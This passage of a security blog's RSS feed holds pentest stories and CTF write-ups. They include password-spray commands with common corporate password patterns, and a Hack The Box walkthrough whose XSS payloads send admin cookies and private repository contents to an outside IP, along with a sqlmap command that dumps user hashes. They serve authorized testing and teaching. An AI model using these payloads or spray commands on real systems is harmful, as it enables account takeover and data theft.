&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/odin-project.png&quot; alt=&quot;odin-project&quot; title=&quot;The Odin Project&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;And with that, I’ll leave you to it. Go out and hack all the things! Remember, you’re representing yourself and your future in the security community. Act ethically and &lt;b&gt;always&lt;/b&gt;, &lt;b&gt;always&lt;/b&gt; stay in scope. Feel free to check out more of my blogs on topics like OSINT, the importance of fuzzing to expand your attack surface, and how I got into Synack!&lt;/p&gt;
</description>
        <pubDate>Thu, 05 Sep 2024 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/bug-bounty-getting-started/</link>
        <guid isPermaLink="true">http://bugculture.io/bug-bounty-getting-started/</guid>
        
        <category>bug-bounty</category>
        
        <category>guide</category>
        
        
      </item>
    
      <item>
        <title>Finding Hidden Features</title>
        <description>&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Fuzzing to Find Hidden Features&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;Persistence is essential. Especially in our field. Recently, my team and I came up against a COTs application that seemed secure and well configured.&lt;/p&gt;

&lt;p&gt;Over the course of two weeks, we meticulously followed the OWASP testing guide, extensively enumerating every feature of the application. Despite our thorough efforts, we initially found no vulnerabilities. It wasn’t until the end of our assignment that I decided to delve deeper by fuzzing directories several levels deep, driven by a determination to find anything that might have been overlooked.&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Let There be Fuzz&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;There are several tools we can use for fuzzing in scenarios like this, but I prefer to stay inside Burpsuite for most of my testing needs. We can simply send our request to Intruder and highlight what we want to fuzz. It’s worth mentioning that you need Burpsuite Pro to avoid rate limiting. Once in Intruder, typically, I select the parameters I want to fuzz, highlight them, and click “Add.” Then, I choose my wordlist, depending on what I am targeting. SecList usually has what I need. It’s important to try several different wordlists when fuzzing. One that I have found particularly useful for APIs and even some directories is the api-res wordlist under SecLists&amp;gt;Discovery&amp;gt;Web-Content&amp;gt;api&amp;gt;api-endpoints-res.txt.&lt;/p&gt;

&lt;p&gt;Finally, I’ll configure the speed at which we want to fuzz. Although it’s unlikely, we don’t want to overwhelm the server in any way, so I usually reduce the number of concurrent requests to two or three. Next, we start fuzzing. Another crucial aspect of fuzzing is filtering our results. Fortunately, Burpsuite makes this easy. We can search for specific words, depending on the type of testing we’re conducting, or we can sort by response codes, sizes, etc.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/burp-intruder-settings.png&quot; alt=&quot;Burp-Intruder&quot; title=&quot;Burp Intruder Settings&quot; width=&quot;105%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
So, utilizing various wordlists, I began probing deeper into the application’s directory structure. Interestingly, I discovered that accessing the endpoint /01 of a certain path redirected to that path’s main page, while /02 led to a secondary page, if it existed. Encouraged by this pattern, I continued with /03, /04, and so on. This approach started revealing some new, unindexed pages, some of which were admin pages that had not been identified in earlier phases of testing.&lt;/p&gt;

&lt;p&gt;To exploit this finding systematically, I created a wordlist ranging from 1 to 50 using &lt;b&gt;seq&lt;/b&gt; and resumed fuzzing across all known paths. This unearthed several intriguing pages, but one really stood out: it was used by admins to send notifications to various user groups within the application, including other Admins, regular users, and other specific groups.&lt;/p&gt;

&lt;p&gt;To assess how the receiving end of these notifications handled the user input of the administrators, I executed a test by sending a notification to our pentester group that included an XSS payload similar to the one below:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;&amp;lt;img src=1 onerror=console.log(document.domain);&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Surprisingly, when they received the notification, the page included it without any sort of validation or sanitizarion. The JavaScript executed, confirming stored XSS. This experience underscores the indispensable value of fuzzing in penetration testing and bug bounty hunting. As bug bounty hunters, we don’t have all the time that threat actors do to enumerate our target. And so, we must prioritze our activities. If we don’t fuzz, we truly don’t know what vulnerabilities lie hidden, waiting to be exploited. This single finding alone illustrates why thorough testing, beyond standard enumeration, is crucial for uncovering deeper security flaws. Try harder!&lt;/p&gt;
</description>
        <pubDate>Fri, 23 Aug 2024 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/fuzz-or-miss/</link>
        <guid isPermaLink="true">http://bugculture.io/fuzz-or-miss/</guid>
        
        <category>pentest</category>
        
        <category>bug-bounty</category>
        
        <category>fuzzing</category>
        
        
      </item>
    
      <item>
        <title>OSINT and Weak Passwords</title>
        <description>&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Leave No Stone Unturned&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;Earlier this year, I performed a security assessment for a small, unnamed bank. The scope focused on auditing their local network to assess what an attacker could achieve from an assumed breach perspective.&lt;/p&gt;

&lt;p&gt;After starting a network scan with Nessus, I proceeded with the standard toolkit for a local penetration test—running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt;, leveraging &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;responder&lt;/code&gt;, packet sniffing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireshark&lt;/code&gt;, examining printers/MFPs, and scanning services with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CrackMapExec&lt;/code&gt;. Despite following the usual TTPs, no significant vulnerabilities or misconfigurations were found. While the printers showed some weaknesses, none were exploitable for privilege escalation. This was unsurprising, given that the bank had undergone several penetration tests in the past.&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;OSINT FTW&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;After several days of getting nowhere and nearing the end of the assessment, I decided it was time to target some services and spray passwords as a last resort. To facilitate this attack, I needed usernames. This is when I turned to Open Source Intelligence (OSINT). From the bank’s website and employees’ LinkedIn profiles, I compiled a list of potential users and usernames. Additionally, I discovered that the bank had an app on the App Store. The bank’s mobile application had only &lt;b&gt;three&lt;/b&gt; reviews, all excessively positive, likely from employees given the timing of the posts. Thus, I added these names to my usernames file. The significance of obtaining usernames from the App Store reviews will become evident later on.&lt;/p&gt;

&lt;h4&gt;&lt;span style=&quot;color: #00a3ff; font-weight: bold;&quot;&gt;Spray and Pray&lt;/span&gt;&lt;/h4&gt;

&lt;p&gt;With these usernames, I attempted to password spray using common business passwords. The following are some reoccurring passwords I’ve observed in past assessments:&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat passwords.txt
SEASONYEAR!
SEASONYEAR!@
SEASONYEAR
BUSINESSNAMEYEAR1!
EMPLOYEENAMEBIRTHYEAR!
QWERTY123!@# // keyboard walks
&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cme smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success
&lt;/pre&gt; 
    &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;However, I didn’t have any success with SMB. So, I moved onto spraying WinRM credentials, but still nothing—I think this was likely due to some issues with crackmapexec not working at the time with winrm. So, I switched to using winrm-brute for password spraying.&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ winrm-brute --hosts 192.168.1.0/24 --usernames users.txt --passwords common_passwords.txt
&lt;/pre&gt; 
    &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;After some time, I checked back on winrm-brute, and there it was—a single hit! The valid username matched one of the three users from the app store reviews for the bank’s mobile application, confirming my hunch that they were employees. This particular employee’s password followed a common corporate pattern, ‘SeasonYEAR!’, which is often used in environments requiring quarterly or semiannual password changes. During the debrief, it was revealed—ironically—that their IT department had recommended this format. As a result, I gained access, not just to any domain user, but to a Domain Admin’s account.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;../assets/images/bad-password.jfif&quot; alt=&quot;Do better!&quot; title=&quot;Bad Passsword&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;This assessment reveals that passwords continue to offer easy entry points for attackers. Implementing stringent password policies and regular security training is vital. Additionally, thorough &lt;b&gt;OSINT&lt;/b&gt; is critical for pentesters, as it widens the attack surface, making our target easier to breach. For us, this means a greater likelihood of identifying and exploiting these gaps before the real threat actors have a chance.&lt;/p&gt;
</description>
        <pubDate>Wed, 21 Aug 2024 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/password-pitfalls-2024/</link>
        <guid isPermaLink="true">http://bugculture.io/password-pitfalls-2024/</guid>
        
        <category>pentests</category>
        
        <category>brute-force</category>
        
        <category>osint</category>
        
        <category>password-spray</category>
        
        
      </item>
    

    <!-- Include all writeups -->
    
      <item>
        <title>Cat</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ nmap -sV -sC -p- -T4 -oA --open cat 10.10.14.53
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: Host: cat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h5 id=&quot;web-application&quot;&gt;Web Application:&lt;/h5&gt;
&lt;p&gt;image here&lt;/p&gt;

&lt;h5 id=&quot;user-registration-and-login&quot;&gt;User registration and Login:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Done through a GET request, a bit unusual. (Thinking, maybe if an admin script is running and logging in we can capture the packets)&lt;/li&gt;
  &lt;li&gt;Possible SQL injections here as well? &lt;img src=&quot;https://github.com/user-attachments/assets/9ea7cb80-a96d-43a9-bf87-024b2febaaa7&quot; alt=&quot;image&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;im age here&lt;/p&gt;

&lt;h5 id=&quot;contest-submission&quot;&gt;Contest submission:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Possible blind XSS&lt;/li&gt;
  &lt;li&gt;Possible file upload exploitation. (went down a bit of a rabbit hole here after finding the uploads directory.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;directory-fuzzing&quot;&gt;Directory Fuzzing:&lt;/h5&gt;
&lt;div class=&quot;collapsible-code&quot;&gt;
    &lt;div class=&quot;terminal-box&quot;&gt;
        &lt;div class=&quot;terminal-header&quot;&gt;
            &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
        &lt;/div&gt;
        &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://cat.htb/FUZZ

        /&apos;___\  /&apos;___\           /&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cat.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 77ms]
.git                    [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 85ms]
.htpasswd               [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 76ms]
css                     [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 78ms]
img                     [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 92ms]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 77ms]
uploads                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 83ms]
winners                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 77ms]
:: Progress: [20470/20470] :: Job [1/1] :: 519 req/sec :: Duration: [0:00:49] :: Errors: 0 ::&lt;/pre&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h5 id=&quot;results&quot;&gt;Results:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Several interesting directories here.&lt;/li&gt;
  &lt;li&gt;Some interesting ones being .git, uploads, and winners. (maybe img depending if we can get something juicy past the contest upload feature)
imahe here&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;exposed-git-directory&quot;&gt;Exposed Git Directory:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;It seems the developers made the mistake of leaving their .git directory exposed.&lt;/li&gt;
  &lt;li&gt;We can take advatage of this and possibly restore some source code from it.&lt;/li&gt;
  &lt;li&gt;For this, I will use the tool &lt;a href=&quot;https://github.com/holly-hacker/git-dumper/releases/tag/v0.1.1&quot;&gt;git-dumper&lt;/a&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./git-dumper-linux http://cat.htb/.git/&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd git-dumped/&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git restore .&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;results-1&quot;&gt;Results:&lt;/h5&gt;
&lt;p&gt;image here&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;As you can see, we were able to restore the source code for the application. Now we can go through and do a code review (look for some juicy bugs!)&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;code-review&quot;&gt;Code Review:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;In the join.php file, it seems the input for the username isn’t being validated, which may be interesting if we can find out if it is ustilized unsafely somewhere else in the code.&lt;/li&gt;
  &lt;li&gt;Looking at the view_cat.php file (an admin endpoint). I found that out username is rendered along with the other user inputs from the contest submission.
image here&lt;/li&gt;
  &lt;li&gt;We may be able to use this to execute a blind cross-site scripting (XSS) attack on the admin.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;blind-xss-attack&quot;&gt;Blind XSS Attack:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;We can use a payload, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img src=&quot;http://10.10.14.12:443/?cookie=&quot;+document.cookie&amp;gt;&lt;/code&gt; in our username when signing up.&lt;/li&gt;
  &lt;li&gt;After logging in, we submit our cat for the contest as per usual, except this time, we get a request on our server with the admin’s cookie.
image here&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;sql-injection-with-sqlmap&quot;&gt;SQL Injection with SQLMap&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;After getting an admin session on the application, I went back to the code to look for more vulnerabiltiies. While looking through the code, I found one endpoint ( accept_cat.php) builds an unsafe SQL query.
image here&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We could automate the exploitation here byusing a tool known as SQLMap:&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sqlmap -u &quot;http://cat.htb/accept_cat.php&quot; --data &quot;catId=1&amp;amp;catName=mal&quot; --cookie=&quot;PHPSESSID=vc64ndcf0tl5ppkqttnpmfmvem&quot; -p catName --level=5 --risk=3 --dbms=SQLite -D main -T users --dump``&lt;/code&gt;&lt;/pre&gt;

&lt;h5 id=&quot;cracking-the-hash&quot;&gt;Cracking the Hash:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;With that, we were able to dump all of the user’s md5 password hashes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;insert image&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Instead of cracking with a tool, I went for a quick win and threw them at crackstation. I got the plaintext password for Rosa, which I was able to ssh into the machine with.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;from-rosa-to-axel&quot;&gt;From Rosa to Axel&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;After getting on the box, the first thing I wanted to look at was the apache logs. (GET requests for login… come on!)
image here&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;internal-gitea-instance&quot;&gt;Internal Gitea Instance&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;After switching over to Axel, we notice he has mail, which we can check at /var/mail/username:
image here&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;From this message, we can gather that there is a local Gitea instance running on port 3000.&lt;/li&gt;
  &lt;li&gt;With that, lets do a local port forward and check it out&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh -L 3000:127.0.0.1:3000 axel@cat.htb``&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;image here&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Seems we need to sign in, which we are able to do with Axel’s creds.&lt;/li&gt;
  &lt;li&gt;But we still can’t get the that employee management endpoint..&lt;/li&gt;
  &lt;li&gt;Looking at the Gitea version, we can see it is vulnerable to a stored xss vulnerability: https://www.exploit-db.com/exploits/52077&lt;/li&gt;
  &lt;li&gt;Cookies don’t seem accessible by javascript since the HTTPOnly flag is enabled.&lt;/li&gt;
  &lt;li&gt;So, my thought process here si that we need to access pages in the employee-management repository.&lt;/li&gt;
  &lt;li&gt;looking back at the email as well, it seems we may need to do some social engineering
image here&lt;/li&gt;
  &lt;li&gt;This took a bit of playing around with, as I wasn’t sure if the script would check for any new repository and navigate to it, or if we needed to provide a link to the repository. It seems I also couldn’t get the payload to trigger if I didn’t have a file in the repository as well.&lt;/li&gt;
  &lt;li&gt;So, many new repositories and reboots later, I was able to get the attack to work.&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;a href=&quot;javascript:fetch(&apos;http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md&apos;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&apos;http://10.10.14.5:44444/?response=&apos; + encodeURIComponent(data))).catch(error =&amp;gt; console.error(&apos;Error:&apos;, error));&quot;&gt;Click Me&lt;/a&gt;`&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Create a blank file in the repository. 
Then send the email:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo -e &quot;Subject: test \n\nHello check my repo http://localhost:3000/axel/Employee-management3&quot; | sendmail jobert@localhost`&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And we finally got a response: 
image here&lt;/p&gt;

&lt;h5 id=&quot;decoded&quot;&gt;Decoded:&lt;/h5&gt;
&lt;p&gt;?response=# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.
Seems there may be an admin endpoint..&lt;/p&gt;

&lt;p&gt;Since we know there other application uses php, we can attempt to pull down a common file, such as index.php or admin.php. If that doesn’t work we could try a few more such as admin.php, and so on. And then switch languages as necessary, index.py, etc.&lt;/p&gt;

&lt;p&gt;Trying admin was unsuccessful. But with index.php, we get the following response:
image here&lt;/p&gt;

&lt;h5 id=&quot;decoded-1&quot;&gt;Decoded:&lt;/h5&gt;
&lt;p&gt;image here&lt;/p&gt;

&lt;p&gt;Going back to the machine, we execute su, and become root:
image here&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Cat has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

</description>
        <pubDate>Thu, 07 Mar 2024 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/cat</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/cat</guid>
        
        <category>xss</category>
        
        <category>sqli</category>
        
        <category>ctf</category>
        
        <category>gitea</category>
        
        <category>code review</category>
        
        <category>mail</category>
        
        
      </item>
    
      <item>
        <title>ThreeKeys</title>
        <description>&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/97ajfg.jpg&quot; title=&quot;ThreeKeys&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;h5 id=&quot;difficulty-medium&quot;&gt;Difficulty: &lt;b&gt;Medium&lt;/b&gt;&lt;/h5&gt;

&lt;h5 id=&quot;description&quot;&gt;Description:&lt;/h5&gt;
&lt;p&gt;You’ve gathered the three secret keys and you’re ready to claim your prize. But in your rush, the keys have got mixed up - which one goes where?&lt;/p&gt;

&lt;h5 id=&quot;challenge&quot;&gt;Challenge:&lt;/h5&gt;
&lt;p&gt;I have messed around with Ghidra in the past, but this was my first time using gdb, and becoming familiar with the debugger’s syntax (ALOT of ChatGPT and Google). The objective was pretty clear: find the correct order of the keys and decrypt the hidden flag.&lt;/p&gt;

&lt;h5 id=&quot;analyzing-the-binary&quot;&gt;Analyzing The Binary:&lt;/h5&gt;
&lt;p&gt;The first step was to load the binary into Ghidra, a powerful reverse engineering tool, and inspect the main() function. The relevant parts of the decompiled main() function were as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;pAVar3 = the_third_key();
decrypt(ctx, (uchar *)out, (size_t *)0x2, (uchar *)pAVar3, in_R8);
memcpy(ctx, out, 0x20);

pAVar3 = the_second_key();
decrypt(ctx, (uchar *)out, (size_t *)0x2, (uchar *)pAVar3, in_R8);
memcpy(ctx, out, 0x20);

pAVar3 = the_first_key();
decrypt(ctx, (uchar *)out, (size_t *)0x2, (uchar *)pAVar3, in_R8);
memcpy(ctx, out, 0x20);

iVar2 = memcmp(out, &amp;amp;DAT_00102071, 3);
if (iVar2 != 0) {
    out = &quot;...something&apos;s wrong&quot;;
}
printf(&quot;[*] Your prize is: %s\n&quot;, out);
&lt;/code&gt;&lt;/pre&gt;
&lt;h6 id=&quot;key-takeaways-from-the-decompiled-code&quot;&gt;Key Takeaways from the Decompiled Code:&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;The program sequentially calls the_third_key(), the_second_key(), and the_first_key() to obtain keys and decrypt the flag.&lt;/li&gt;
  &lt;li&gt;After each decryption step, the decrypted result is copied into a ctx buffer using memcpy.&lt;/li&gt;
  &lt;li&gt;A memcmp() call compares the decrypted output with a reference data section (DAT_00102071), but only checks the first 3 bytes.
It became clear that the order of keys was important, and that the program was only validating the first 3 bytes of the decrypted result, which likely represented the start of the flag (e.g., “HTB”).&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;solution&quot;&gt;Solution&lt;/h5&gt;
&lt;p&gt;I needed to swap the calls to these functions in the correct order: the_first_key() should use Key 1, the_second_key() should use Key 2, and the_third_key() should use Key 3.&lt;/p&gt;

&lt;h6 id=&quot;reversing-the-key-order&quot;&gt;Reversing the Key Order&lt;/h6&gt;
&lt;p&gt;Upon closer inspection of the the_third_key(), the_second_key(), and the_first_key() functions, it became apparent that the keys were mixed up in the main() function:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;the_third_key() actually contained what seemed to be Key 1.&lt;/li&gt;
  &lt;li&gt;the_second_key() contained Key 2.&lt;/li&gt;
  &lt;li&gt;the_first_key() contained Key 3.
&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;bypassing-the-error-check&quot;&gt;Bypassing the Error Check:&lt;/h5&gt;
&lt;p&gt;But, even after swapping the keys, there was still a catch: the program only compared the first 3 bytes of the decrypted output using this line:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;iVar2 = memcmp(out, &amp;amp;DAT_00102071, 3);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The comparison was limited to 3 bytes, so if the flag contained more than just “HTB”, it wouldn’t display it.&lt;/p&gt;

&lt;p&gt;Patch Step: Disabling the memcmp() Check
To bypass the restriction and ensure the entire buffer was printed, I needed to patch the binary. This was done in Ghidra by replacing the following assembly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;001013ce  75 06    ; JNZ LAB_001013d6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;with the NOP intructions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;001013ce  48 90    ; NOP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This effectively disabled the error check, allowing the program to continue and print the entire decrypted buffer without checking if the first 3 bytes matched.&lt;/p&gt;

&lt;h4 id=&quot;the-flag&quot;&gt;The Flag:&lt;/h4&gt;
&lt;p&gt;After patching the binary, I exported it as an ELF file and ran it. Here’s what I did:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Swapped the key functions to ensure they matched the correct order.&lt;/li&gt;
  &lt;li&gt;Patched the memcmp() check with NOPs to bypass the error message.
&lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/97ajar.jpg&quot; title=&quot;The Flag!!!&quot; width=&quot;90%&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;solving-with-gdb&quot;&gt;Solving with GDB:&lt;/h4&gt;

&lt;h5 id=&quot;step-1-calculate-the-relative-offsets&quot;&gt;Step 1: Calculate the Relative Offsets&lt;/h5&gt;
&lt;p&gt;In x86-64, the call instruction uses relative addressing, meaning it stores a signed 32-bit offset from the current instruction to the target function. To calculate this offset, you need to subtract the address of the current instruction (plus 5 to account for the size of the call instruction) from the address of the function you’re calling.&lt;/p&gt;

&lt;p&gt;To calculate the relative offset for the_third_key and the_first_key, I used the following commands in GDB:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;gdb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; p/x &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;int&lt;span class=&quot;o&quot;&gt;)((&lt;/span&gt;long&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;the_third_key - &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;long&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;0x55555555537c + 5&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0xfffffe7c  &lt;span class=&quot;c&quot;&gt;# Relative offset to call the_third_key&lt;/span&gt;
